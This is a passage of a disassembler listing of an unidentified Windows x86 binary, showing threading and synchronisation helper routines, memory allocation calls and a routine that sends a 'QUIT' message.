add ecx, 6
cmp ecx, 100h
ja short loc_42E979
mov esi, dword_50FA60
push edx
lea eax, [esp+10h]
push offset dword_44571C
push eax
call esi ; dword_50FA60
mov edi, [esp+124h]
lea ecx, [esp+18h]
push edi
push 33h
push ecx
call sub_42D1A0
add esp, 18h
test eax, eax
jz short loc_42E979
push ebx
lea edx, [esp+10h]
push offset dword_445710
push edx
call esi ; dword_50FA60
push edi
lea eax, [esp+1Ch]
push 32h
push eax
call sub_42D1A0
add esp, 18h
neg eax
sbb eax, eax
pop edi
pop esi
pop ebx
neg eax
add esp, 100h
retn
; ---------------------------------------------------------------------------
loc_42E979: ; CODE XREF: ___:0042E901j
; ___:0042E91Cj ...
pop edi
pop esi
xor eax, eax
pop ebx
add esp, 100h
retn
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 30h dup(0CCh)
; ---------------------------------------------------------------------------
loc_42E9C0: ; CODE XREF: ___:00401C67j
mov edx, [esp+4]
sub esp, 100h
or ecx, 0FFFFFFFFh
xor eax, eax
push edi
mov edi, edx
repne scasb
not ecx
add ecx, 6
pop edi
cmp ecx, 100h
jbe short loc_42E9E9
add esp, 100h
retn
; ---------------------------------------------------------------------------
loc_42E9E9: ; CODE XREF: ___:0042E9E0j
push edx
lea eax, [esp+4]
push offset dword_445728
push eax
call near ptr 77C3F931h
nop
mov ecx, [esp+114h]
lea edx, [esp+0Ch]
push ecx
push 32h
push edx
call sub_42D1A0
add esp, 18h
neg eax
sbb eax, eax
neg eax
add esp, 100h
retn
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_42EA40 proc near ; CODE XREF: sub_401D52j
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
mov eax, [esi+18h]
test eax, eax
jnz short loc_42EA79
push edi
push esi
push 32h
push offset aQuit ; "QUIT"
call sub_42D1A0
mov eax, [esi+8]
add esp, 0Ch
push eax
call sub_436F06
; ---------------------------------------------------------------------------
mov ecx, [esi+14h]
mov edi, dword_50FAC4
push ecx
call edi ; dword_50FAC4
push esi
call edi ; dword_50FAC4
add esp, 8
pop edi
loc_42EA79: ; CODE XREF: sub_42EA40+Aj
pop esi
retn
sub_42EA40 endp
; ---------------------------------------------------------------------------
db 5 dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_42EA90: ; CODE XREF: ___:0040219Ej
push edi
mov edi, [esp+8]
test edi, edi
jnz short loc_42EAA0
mov eax, 16h
pop edi
retn
; ---------------------------------------------------------------------------
loc_42EAA0: ; CODE XREF: ___:0042EA97j
push 1Ch
call near ptr 77C2C407h
nop
add esp, 4
test eax, eax
jnz short loc_42EAB6
mov eax, 0Ch
pop edi
retn
; ---------------------------------------------------------------------------
loc_42EAB6: ; CODE XREF: ___:0042EAADj
mov ecx, 1
mov dword ptr [eax+8], 0
mov dword ptr [eax+0Ch], 0
mov dword ptr [eax+10h], 0
mov [eax+14h], ecx
mov [eax+18h], ecx
mov dword ptr [eax], 0C4C0FFEEh
mov [edi], eax
xor eax, eax
pop edi
retn
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 20h dup(0CCh)
; ---------------------------------------------------------------------------
loc_42EB10: ; CODE XREF: ___:00401514j
push esi
mov esi, [esp+8]
push esi
call sub_4012B7
add esp, 4
test eax, eax
jz short loc_42EB29
mov eax, 16h
pop esi
retn
; ---------------------------------------------------------------------------
loc_42EB29: ; CODE XREF: ___:0042EB20j
mov eax, [esi]
mov dword ptr [eax], 0
mov ecx, [esi]
push ecx
nop
call near ptr 77C2C21Bh
add esp, 4
mov dword ptr [esi], 0
xor eax, eax
pop esi
retn
; ---------------------------------------------------------------------------
db 9 dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_42EB60: ; CODE XREF: ___:004012D5j
push esi
mov esi, [esp+8]
push esi
call sub_4012B7
add esp, 4
test eax, eax
mov eax, [esp+0Ch]
jnz short loc_42EB85
test eax, eax
jz short loc_42EB85
mov ecx, [esi]
pop esi
mov edx, [ecx+0Ch]
mov [eax], edx
xor eax, eax
retn
; ---------------------------------------------------------------------------
loc_42EB85: ; CODE XREF: ___:0042EB74j
; ___:0042EB78j
mov dword ptr [eax], 1
mov eax, 16h
pop esi
retn
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_42EBB0: ; CODE XREF: ___:004013ACj
push esi
mov esi, [esp+8]
push esi
call sub_4012B7
add esp, 4
test eax, eax
jz short loc_42EBC9
mov eax, 16h
pop esi
retn
; ---------------------------------------------------------------------------
loc_42EBC9: ; CODE XREF: ___:0042EBC0j
mov eax, [esp+0Ch]
test eax, eax
jz short loc_42EBDD
cmp eax, 1
jz short loc_42EBDD
mov eax, 16h
pop esi
retn
; ---------------------------------------------------------------------------
loc_42EBDD: ; CODE XREF: ___:0042EBCFj
; ___:0042EBD4j
mov ecx, [esi]
pop esi
mov [ecx+0Ch], eax
xor eax, eax
retn
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_42EC00: ; CODE XREF: ___:0040150Fj
mov eax, 28h
retn
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_42EC20: ; CODE XREF: ___:00401825j
mov eax, 28h
retn
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_42EC40: ; CODE XREF: ___:00401348j
push esi
mov esi, [esp+8]
push esi
call sub_4012B7
add esp, 4
test eax, eax
jz short loc_42EC59
mov eax, 16h
pop esi
retn
; ---------------------------------------------------------------------------
loc_42EC59: ; CODE XREF: ___:0042EC50j
mov eax, [esi]
mov edx, [esp+0Ch]
pop esi
mov ecx, [eax+8]
xor eax, eax
mov [edx], ecx
retn
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_42EC80: ; CODE XREF: ___:004021E4j
push esi
mov esi, [esp+8]
push esi
call sub_4012B7
add esp, 4
test eax, eax
jz short loc_42EC99
mov eax, 16h
pop esi
retn
; ---------------------------------------------------------------------------
loc_42EC99: ; CODE XREF: ___:0042EC90j
mov eax, [esi]
mov ecx, [esp+0Ch]
pop esi
mov [eax+8], ecx
xor eax, eax
retn
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_42ECC0: ; CODE XREF: ___:004019A1j
mov eax, [esp+4]
mov ecx, [eax]
mov eax, [esp+8]
mov edx, [ecx+18h]
mov [eax], edx
xor eax, eax
retn
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_42ECF0: ; CODE XREF: ___:0040199Cj
mov eax, [esp+8]
sub eax, 0
jz short loc_42ED12
dec eax
jz short loc_42ED02
mov eax, 16h
retn
; ---------------------------------------------------------------------------
loc_42ED02: ; CODE XREF: ___:0042ECFAj
mov eax, [esp+4]
mov ecx, [eax]
xor eax, eax
mov dword ptr [ecx+18h], 1
retn
; ---------------------------------------------------------------------------
loc_42ED12: ; CODE XREF: ___:0042ECF7j
mov eax, 30h
retn
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_42ED30: ; CODE XREF: ___:00401C08j
push ebx
mov ebx, [esp+8]
push esi
push edi
test ebx, ebx
jz loc_42EDCB
mov edi, [esp+18h]
test edi, edi
jz loc_42EDCB
push 18h
push 1
nop
call near ptr 77C2C0C3h
mov esi, eax
add esp, 8
test esi, esi
jz short loc_42EDC2
mov eax, [esp+14h]
test eax, eax
jz short loc_42ED70
mov eax, [eax]
test eax, eax
jz short loc_42ED70
mov eax, [eax]
jmp short loc_42ED72
; ---------------------------------------------------------------------------
loc_42ED70: ; CODE XREF: ___:0042ED64j
; ___:0042ED6Aj
xor eax, eax
loc_42ED72: ; CODE XREF: ___:0042ED6Ej
mov [esi+4], edi
mov [esi], edi
lea edi, [esi+10h]
push 0
push eax
push edi
mov [esi+0Ch], eax
mov dword ptr [esi+8], 0
call sub_401C76
add esp, 0Ch
test eax, eax
jnz short loc_42EDB8
push eax
mov eax, [esi+0Ch]
lea ecx, [esi+14h]
push eax
push ecx
call sub_401C76
add esp, 0Ch
test eax, eax
jnz short loc_42EDAF
mov [ebx], esi
pop edi
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_42EDAF: ; CODE XREF: ___:0042EDA7j
push edi
call sub_401686
add esp, 4
loc_42EDB8: ; CODE XREF: ___:0042ED92j
push esi
call near ptr 77C2C21Bh
nop
add esp, 4
loc_42EDC2: ; CODE XREF: ___:0042ED5Cj
pop edi
pop esi
mov eax, 0Ch
pop ebx
retn
; ---------------------------------------------------------------------------
loc_42EDCB: ; CODE XREF: ___:0042ED39j
; ___:0042ED45j
pop edi
pop esi
mov eax, 16h
pop ebx
retn
; ---------------------------------------------------------------------------
db 0Ch dup(90h)
db 30h dup(0CCh)
; ---------------------------------------------------------------------------
loc_42EE10: ; CODE XREF: ___:004021E9j
push ebx
push ebp
mov ebp, [esp+0Ch]
push esi
test ebp, ebp
push edi
jz short loc_42EE78
mov esi, [ebp+0]
test esi, esi
jz short loc_42EE78
lea ebx, [esi+10h]
mov dword ptr [ebp+0], 0
push ebx
call sub_401686
mov edi, eax
add esp, 4
test edi, edi
jnz short loc_42EE6E
lea eax, [esi+14h]
push eax
call sub_401686
mov edi, eax
add esp, 4
test edi, edi
jnz short loc_42EE5F
push esi
nop
call near ptr 77C2C21Bh
add esp, 4
xor eax, eax
pop edi
pop esi
pop ebp
pop ebx
retn
; ---------------------------------------------------------------------------
loc_42EE5F: ; CODE XREF: ___:0042EE4Cj
mov ecx, [esi+0Ch]
push 0
push ecx
push ebx
call sub_401C76
add esp, 0Ch
loc_42EE6E: ; CODE XREF: ___:0042EE3Aj
mov eax, edi
mov [ebp+0], esi
pop edi
pop esi
pop ebp
pop ebx
retn
; ---------------------------------------------------------------------------
loc_42EE78: ; CODE XREF: ___:0042EE1Aj
; ___:0042EE21j
pop edi
pop esi
pop ebp
mov eax, 16h
pop ebx
retn
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 20h dup(0CCh)
; ---------------------------------------------------------------------------
loc_42EEB0: ; CODE XREF: ___:00401799j
mov eax, [esp+4]
push esi
test eax, eax
jz loc_42EF64
mov esi, [eax]
test esi, esi
jz loc_42EF64
push ebp
lea ebp, [esi+8]
push edi
push esi
mov edi, [ebp+0]
call near ptr 2770835h
nop
test eax, eax
jnz short loc_42EEF7
mov eax, [esi+4]
cmp eax, 1
mov [esi], eax
jbe short loc_42EF44
dec eax
push eax
lea eax, [esi+edi*4+10h]
push eax
call sub_40204A
add esp, 8
mov esi, eax
jmp short loc_42EF40
; ---------------------------------------------------------------------------
loc_42EEF7: ; CODE XREF: ___:0042EED8j
push ebx
call sub_4012E4
; ---------------------------------------------------------------------------
mov ecx, [eax+34h]
mov ebx, 1
cmp ecx, ebx
jnz short loc_42EF1B
lea ecx, [esp+14h]
push ecx
push ebx
call sub_40140B
; ---------------------------------------------------------------------------
add esp, 8
test eax, eax
jz short loc_42EF1D
loc_42EF1B: ; CODE XREF: ___:0042EF07j
xor ebx, ebx
loc_42EF1D: ; CODE XREF: ___:0042EF19j
lea edx, [esi+edi*4+10h]
push edx
call sub_401041
add esp, 4
mov esi, eax
test ebx, ebx
pop ebx
jz short loc_42EF40
mov eax, [esp+10h]
push 0
push eax
call sub_40140B
; ---------------------------------------------------------------------------
add esp, 8
loc_42EF40: ; CODE XREF: ___:0042EEF5j
; ___:0042EF2Fj
test esi, esi
jnz short loc_42EF5E
loc_42EF44: ; CODE XREF: ___:0042EEE2j
mov ecx, 1
push edi
sub ecx, edi
push ecx
push ebp
call dword_50E3EC ; InterlockedCompareExchange
xor edx, edx
cmp edi, eax
setnz dl
dec edx
mov esi, edx
loc_42EF5E: ; CODE XREF: ___:0042EF42j
pop edi
mov eax, esi
pop ebp
pop esi
retn
; ---------------------------------------------------------------------------
loc_42EF64: ; CODE XREF: ___:0042EEB7j
; ___:0042EEC1j
mov eax, 16h
pop esi
retn
; ---------------------------------------------------------------------------
db 5 dup(90h)
db 30h dup(0CCh)
; ---------------------------------------------------------------------------
loc_42EFA0: ; CODE XREF: ___:00401F50j
push esi
push 4
push 1
xor esi, esi
nop
call near ptr 77C2C0C3h
add esp, 8
test eax, eax
jnz short loc_42EFC3
mov edx, [esp+8]
mov ecx, 0Ch
pop esi
mov [edx], eax
mov eax, ecx
retn
; ---------------------------------------------------------------------------
loc_42EFC3: ; CODE XREF: ___:0042EFB2j
mov ecx, [esp+8]
mov dword ptr [eax], 0
mov [ecx], eax
mov eax, esi
pop esi
retn
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_42EFF0: ; CODE XREF: ___:00401A73j
mov ecx, [esp+4]
push esi
xor esi, esi
test ecx, ecx
jz short loc_42F011
mov eax, [ecx]
test eax, eax
jz short loc_42F011
push eax
mov [ecx], esi
nop
call near ptr 77C2C21Bh
add esp, 4
mov eax, esi
pop esi
retn
; ---------------------------------------------------------------------------
loc_42F011: ; CODE XREF: ___:0042EFF9j
; ___:0042EFFFj
mov eax, 16h
pop esi
retn
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_42F030: ; CODE XREF: ___:0040127Bj
mov eax, [esp+4]
test eax, eax
jz short loc_42F04D
mov eax, [eax]
test eax, eax
jz short loc_42F04D
mov ecx, [esp+8]
test ecx, ecx
jz short loc_42F04D
mov eax, [eax]
mov [ecx], eax
xor eax, eax
retn
; ---------------------------------------------------------------------------
loc_42F04D: ; CODE XREF: ___:0042F036j
; ___:0042F03Cj ...
mov eax, 16h
retn
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_42F070: ; CODE XREF: ___:0040162Cj
mov eax, [esp+4]
test eax, eax
jz short loc_42F09A
mov ecx, [eax]
test ecx, ecx
jz short loc_42F09A
mov eax, [esp+8]
cmp eax, 1
jz short loc_42F08E
test eax, eax
jnz short loc_42F09A
mov [ecx], eax
retn
; ---------------------------------------------------------------------------
loc_42F08E: ; CODE XREF: ___:0042F085j
mov eax, 28h
mov dword ptr [ecx], 0
retn
; ---------------------------------------------------------------------------
loc_42F09A: ; CODE XREF: ___:0042F076j
; ___:0042F07Cj ...
mov eax, 16h
retn
; ---------------------------------------------------------------------------
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_42F0B0 proc near ; CODE XREF: sub_40140Bj
push esi
push edi
call sub_4012E4
sub_42F0B0 endp
; ---------------------------------------------------------------------------
db 8Bh
dd 74F685F0h, 247C8B7Bh, 74FF850Ch, 1FF8305h, 8D536E75h
dd 0E8532C5Eh, 0FFFD3151h, 1824448Bh, 8504C483h, 8B0574C0h
dd 889304Eh, 7E89FF85h, 8B3E7530h, 0C0853446h, 568B3775h
dd 0E8525738h, 23413CCh, 75C08590h, 38468B28h, 30C46C7h
dd 50000000h, 13046C7h, 90000000h, 3415A0E8h, 0A4E85302h
dd 6AFFFD1Fh, 2CAEE802h, 0C483FFFDh, 94E85308h, 83FFFD1Fh
dd 0C03304C4h, 0C35E5F5Bh, 16B85Fh, 0C35E0000h, 0Ch dup(0CCCCCCCCh)
; ---------------------------------------------------------------------------
loc_42F170: ; CODE XREF: ___:0040223Ej
push ebx
push esi
call sub_4012E4
; ---------------------------------------------------------------------------
db 8Bh
dd 74F685F0h, 245C8B7Bh, 1FB830Ch, 0DB850474h, 8D576E75h
dd 0E8572C7Eh, 0FFFD3091h, 1824448Bh, 8504C483h, 8B0574C0h
dd 889344Eh, 8930468Bh, 0C085345Eh, 0DB853B75h, 568B3775h
dd 0E8525338h, 234130Ch, 75C08590h, 38468B28h, 30C46C7h
dd 50000000h, 13046C7h, 90000000h, 3414E0E8h, 0E4E85702h
dd 6AFFFD1Eh, 2BEEE802h, 0C483FFFDh, 0D4E85708h, 83FFFD1Eh
dd 0C03304C4h, 0C35B5E5Fh, 16B85Eh, 0C35B0000h, 0Ch dup(0CCCCCCCCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_42F230 proc near ; CODE XREF: sub_401CEEj
push esi
push edi
call sub_4012E4
sub_42F230 endp
; ---------------------------------------------------------------------------
db 8Bh
dd 2C7E8DF0h, 2FE3E857h, 0C483FFFDh, 74F68504h, 307E8334h
dd 8B2E7401h, 6A3846h, 126EE850h, 85900234h, 571E75C0h
dd 30C46C7h, 0C7000000h, 13046h, 50E80000h, 6AFFFD1Eh
dd 2B5AE802h, 0C483FFFDh, 40E85708h, 83FFFD1Eh, 5E5F04C4h
dd 909090C3h, 90909090h, 8 dup(0CCCCCCCCh)
; ---------------------------------------------------------------------------
loc_42F2B0: ; CODE XREF: ___:00401D25j
sub esp, 2D0h
push esi
mov esi, [esp+2D8h]
push 0
push esi
call sub_401758
add esp, 8
mov [esp+4], eax
test eax, eax
jnz loc_42F3E9
call sub_4012E4
; ---------------------------------------------------------------------------
test eax, eax
jnz short loc_42F2EB
mov eax, 0Ch
pop esi
add esp, 2D0h
retn
; ---------------------------------------------------------------------------
loc_42F2EB: ; CODE XREF: ___:0042F2DCj
push ebx
push ebp
push edi
push eax
push esi
call sub_401A50
lea ebx, [esi+2Ch]
mov edi, eax
push ebx
call sub_402225
mov eax, [esi+34h]
add esp, 0Ch
test eax, eax
mov ebp, 3
jnz loc_42F3C2
mov eax, [esi+30h]
test eax, eax
jnz loc_42F3C2
cmp [esi+0Ch], ebp
jge loc_42F3D5
test edi, edi
jz short loc_42F354
push ebx
mov [esi+0Ch], ebp
mov dword ptr [esi+30h], 1
call sub_4010C3
push 2
call sub_401DD4
; ---------------------------------------------------------------------------
mov eax, [esp+18h]
add esp, 8
pop edi
pop ebp
pop ebx
pop esi
add esp, 2D0h
retn
; ---------------------------------------------------------------------------
loc_42F354: ; CODE XREF: ___:0042F329j
mov edi, [esi+4]
push edi
call near ptr 276097Ch
nop
push 0
push edi
nop
call near ptr 27704C8h
cmp eax, 102h
jnz short loc_42F3E2
lea eax, [esp+14h]
mov [esi+0Ch], ebp
push eax
push edi
mov dword ptr [esi+30h], 1
mov dword ptr [esp+1Ch], 10001h
nop
call near ptr 2760B21h
lea ecx, [esp+14h]
mov dword ptr [esp+0CCh], offset loc_42F460
push ecx
push edi
call near ptr 2760CE6h
nop
push ebx
call sub_4010C3
add esp, 4
push edi
nop
call near ptr 2770000h
mov eax, [esp+10h]
pop edi
pop ebp
pop ebx
pop esi
add esp, 2D0h
retn
; ---------------------------------------------------------------------------
loc_42F3C2: ; CODE XREF: ___:0042F30Dj
; ___:0042F318j
cmp [esi+0Ch], ebp
jge short loc_42F3D5
mov edx, [esi+38h]
push edx
nop
call near ptr 2770253h
test eax, eax
jnz short loc_42F3D9
loc_42F3D5: ; CODE XREF: ___:0042F321j
; ___:0042F3C5j
mov [esp+10h], ebp
loc_42F3D9: ; CODE XREF: ___:0042F3D3j
push ebx
call sub_4010C3
add esp, 4
loc_42F3E2: ; CODE XREF: ___:0042F36Cj
mov eax, [esp+10h]
pop edi
pop ebp
pop ebx
loc_42F3E9: ; CODE XREF: ___:0042F2CFj
pop esi
add esp, 2D0h
retn
; ---------------------------------------------------------------------------
db 0Fh dup(90h)
db 60h dup(0CCh)
; ---------------------------------------------------------------------------
loc_42F460: ; DATA XREF: ___:0042F390o
push 2
call sub_401DD4
; ---------------------------------------------------------------------------
pop ecx
retn
; ---------------------------------------------------------------------------
db 7 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_42F480 proc near ; CODE XREF: sub_401122j
mov eax, dword_50E3DC
push esi
push eax
call sub_401190
sub_42F480 endp
; ---------------------------------------------------------------------------
mov esi, eax
add esp, 4
test esi, esi
jz short loc_42F4BE
mov eax, [esp+8]
test eax, eax
jz short loc_42F4AC
mov eax, [esi]
test eax, eax
jz short loc_42F4AC
mov ecx, [esi+4]
push ecx
call eax
add esp, 4
loc_42F4AC: ; CODE XREF: ___:0042F49Bj
; ___:0042F4A1j
mov edx, [esi+8]
mov eax, dword_50E3DC
push edx
push eax
call sub_4020DB
; ---------------------------------------------------------------------------
add esp, 8
loc_42F4BE: ; CODE XREF: ___:0042F493j
mov eax, esi
pop esi
retn
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_42F4F0 proc near ; CODE XREF: sub_401659j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
mov eax, [esp+arg_4]
mov ecx, [esp+arg_8]
push esi
mov esi, [esp+4+arg_0]
mov [esi], eax
mov [esi+4], ecx
mov edx, dword_50E3DC
push edx
call sub_401190
sub_42F4F0 endp
; ---------------------------------------------------------------------------
mov [esi+8], eax
mov eax, dword_50E3DC
push esi
push eax
call sub_4020DB
; ---------------------------------------------------------------------------
add esp, 0Ch
pop esi
retn
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_42F540 proc near ; CODE XREF: sub_401B4Fj
arg_0 = dword ptr 4
push esi
push offset dword_50E920
xor esi, esi
call near ptr 7C901005h
nop
mov ecx, [esp+4+arg_0]
mov eax, [ecx]
cmp eax, 0FFFFFFFFh
jnz short loc_42F574
push esi
push ecx
call sub_401541
add esp, 8
mov esi, eax
push offset dword_50E920
nop
call near ptr 7C9010EDh
mov eax, esi
pop esi
retn
; ---------------------------------------------------------------------------
loc_42F574: ; CODE XREF: sub_42F540+17j
test eax, eax
jnz short loc_42F57D
mov esi, 16h
loc_42F57D: ; CODE XREF: sub_42F540+36j
push offset dword_50E920
nop
call near ptr 7C9010EDh
mov eax, esi
pop esi
retn
sub_42F540 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 20h dup(0CCh)
; ---------------------------------------------------------------------------
loc_42F5B0: ; CODE XREF: ___:004020FEj
push esi
push 4
push 1
xor esi, esi
nop
call near ptr 77C2C0C3h
add esp, 8
test eax, eax
jnz short loc_42F5D3
mov edx, [esp+8]
mov ecx, 0Ch
pop esi
mov [edx], eax
mov eax, ecx
retn
; ---------------------------------------------------------------------------
loc_42F5D3: ; CODE XREF: ___:0042F5C2j
mov ecx, [esp+8]
mov [ecx], eax
mov eax, esi
pop esi
retn
; ---------------------------------------------------------------------------
db 3 dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_42F5F0: ; CODE XREF: ___:004021D0j
push esi
mov esi, [esp+8]
test esi, esi
jz short loc_42F613
mov eax, [esi]
test eax, eax
jz short loc_42F613
push eax
call near ptr 77C2C21Bh
nop
add esp, 4
mov dword ptr [esi], 0
xor eax, eax
pop esi
retn
; ---------------------------------------------------------------------------
loc_42F613: ; CODE XREF: ___:0042F5F7j
; ___:0042F5FDj
mov eax, 16h
pop esi
retn
; ---------------------------------------------------------------------------
db 6 dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_42F630: ; CODE XREF: ___:00401005j
mov eax, [esp+4]
test eax, eax
jz short loc_42F64D
mov eax, [eax]
test eax, eax
jz short loc_42F64D
mov ecx, [esp+8]
test ecx, ecx
jz short loc_42F64D
mov eax, [eax]
mov [ecx], eax
xor eax, eax
retn
; ---------------------------------------------------------------------------
loc_42F64D: ; CODE XREF: ___:0042F636j
; ___:0042F63Cj ...
mov eax, 16h
retn
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_42F670: ; CODE XREF: ___:004012ADj
mov eax, [esp+4]
test eax, eax
jz short loc_42F69A
mov ecx, [eax]
test ecx, ecx
jz short loc_42F69A
mov eax, [esp+8]
cmp eax, 1
jz short loc_42F68E
test eax, eax
jnz short loc_42F69A
mov [ecx], eax
retn
; ---------------------------------------------------------------------------
loc_42F68E: ; CODE XREF: ___:0042F685j
mov eax, 28h
mov dword ptr [ecx], 0
retn
; ---------------------------------------------------------------------------
loc_42F69A: ; CODE XREF: ___:0042F676j
; ___:0042F67Cj ...
mov eax, 16h
retn
; ---------------------------------------------------------------------------
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_42F6B0 proc near ; CODE XREF: sub_401541j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_0]
push esi
push edi
xor edi, edi
xor esi, esi
cmp eax, edi
jnz short loc_42F6C6
pop edi
mov eax, 16h
pop esi
retn
; ---------------------------------------------------------------------------
loc_42F6C6: ; CODE XREF: sub_42F6B0+Cj
mov eax, [esp+8+arg_4]
push ebx
cmp eax, edi
push ebp
jz short loc_42F6ED
mov eax, [eax]
cmp eax, edi
jz short loc_42F6ED
cmp dword ptr [eax], 1
jnz short loc_42F6ED
mov edx, [esp+10h+arg_0]
mov edi, 28h
pop ebp
mov eax, edi
pop ebx
mov [edx], esi
pop edi
pop esi
retn
; ---------------------------------------------------------------------------
loc_42F6ED: ; CODE XREF: sub_42F6B0+1Ej
; sub_42F6B0+24j ...
push 20h
push 1
nop
call near ptr 77C2C0C3h
mov esi, eax
add esp, 8
cmp esi, edi
jnz short loc_42F712
mov edx, [esp+10h+arg_0]
mov edi, 0Ch
pop ebp
mov eax, edi
pop ebx
mov [edx], esi
pop edi
pop esi
retn
; ---------------------------------------------------------------------------
loc_42F712: ; CODE XREF: sub_42F6B0+4Ej
lea ebp, [esi+10h]
push 1
push edi
push ebp
mov [esi], edi
mov [esi+8], edi
mov [esi+4], edi
call sub_401C76
add esp, 0Ch
test eax, eax
jz short loc_42F737
call near ptr 77C1F2BCh
nop
mov edi, [eax]
jmp short loc_42F77B
; ---------------------------------------------------------------------------
loc_42F737: ; CODE XREF: sub_42F6B0+7Bj
lea ebx, [esi+0Ch]
push 0
push 0
push ebx
call sub_401C76
add esp, 0Ch
test eax, eax
jz short loc_42F755
call near ptr 77C1F2BCh
nop
mov edi, [eax]
jmp short loc_42F772
; ---------------------------------------------------------------------------
loc_42F755: ; CODE XREF: sub_42F6B0+99j
lea eax, [esi+14h]
push 0
push eax
call sub_402199
mov edi, eax
add esp, 8
test edi, edi
jz short loc_42F7DF
push ebx
call sub_401686
add esp, 4
loc_42F772: ; CODE XREF: sub_42F6B0+A3j
push ebp
call sub_401686
add esp, 4
loc_42F77B: ; CODE XREF: sub_42F6B0+85j
push esi
nop
call near ptr 77C2C21Bh
add esp, 4
xor esi, esi
test edi, edi
jnz short loc_42F7D2
loc_42F78B: ; CODE XREF: sub_42F6B0+131j
push offset dword_50E9A0
nop
call near ptr 7C901005h
mov dword ptr [esi+18h], 0
mov ecx, dword_50E3E4
mov [esi+1Ch], ecx
mov eax, dword_50E3E4
test eax, eax
jz short loc_42F7B2
mov [eax+18h], esi
loc_42F7B2: ; CODE XREF: sub_42F6B0+FDj
mov eax, dword_50E3E0
mov dword_50E3E4, esi
test eax, eax
jnz short loc_42F7C7
mov dword_50E3E0, esi
loc_42F7C7: ; CODE XREF: sub_42F6B0+10Fj
push offset dword_50E9A0
nop
call near ptr 7C9010EDh
loc_42F7D2: ; CODE XREF: sub_42F6B0+D9j
mov edx, [esp+10h+arg_0]
pop ebp
mov eax, edi
pop ebx
mov [edx], esi
pop edi
pop esi
retn
; ---------------------------------------------------------------------------
loc_42F7DF: ; CODE XREF: sub_42F6B0+B7j
xor edi, edi
jmp short loc_42F78B
sub_42F6B0 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 50h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_42F840 proc near ; CODE XREF: sub_401A91j
var_4 = dword ptr -4
arg_0 = dword ptr 4
push ecx
push ebx
push ebp
push esi
push edi
mov edi, [esp+14h+arg_0]
xor esi, esi
xor ebp, ebp
xor ebx, ebx
test edi, edi
mov [esp+14h+var_4], ebp
jz loc_42F9EC
mov eax, [edi]
test eax, eax
jz loc_42F9EC
cmp eax, 0FFFFFFFFh
jz loc_42F9A3
push offset dword_50E9A0
call near ptr 7C901005h
nop
mov esi, [edi]
lea ebx, [esi+10h]
push ebx
call sub_401041
add esp, 4
test eax, eax
jz short loc_42F899
call near ptr 77C1F2BCh
nop
mov eax, [eax]
pop edi
pop esi
pop ebp
pop ebx
pop ecx
retn
; ---------------------------------------------------------------------------
loc_42F899: ; CODE XREF: sub_42F840+49j
lea ebp, [esi+14h]
push ebp
call sub_40177B
add esp, 4
mov [esp+14h+arg_0], eax
test eax, eax
jz short loc_42F8C0
push ebx
call sub_40103C
mov eax, [esp+18h+arg_0]
add esp, 4
pop edi
pop esi
pop ebp
pop ebx
pop ecx
retn
; ---------------------------------------------------------------------------
loc_42F8C0: ; CODE XREF: sub_42F840+6Bj
mov eax, [esi]
mov ecx, [esi+4]
cmp eax, ecx
jle short loc_42F8F9
push ebx
call sub_40103C
add esp, 4
test eax, eax
jz short loc_42F8E2
nop
call near ptr 77C1F2BCh
mov ecx, [eax]
mov [esp+14h+arg_0], ecx
loc_42F8E2: ; CODE XREF: sub_42F840+94j
push ebp
call sub_4010C3
add esp, 4
mov [esp+14h+var_4], eax
mov ebx, 10h
jmp loc_42F98E
; ---------------------------------------------------------------------------
loc_42F8F9: ; CODE XREF: sub_42F840+87j
push ebx
mov dword ptr [edi], 0
call sub_401686
mov edi, dword_50FA64
add esp, 4
test eax, eax
jz short loc_42F91A
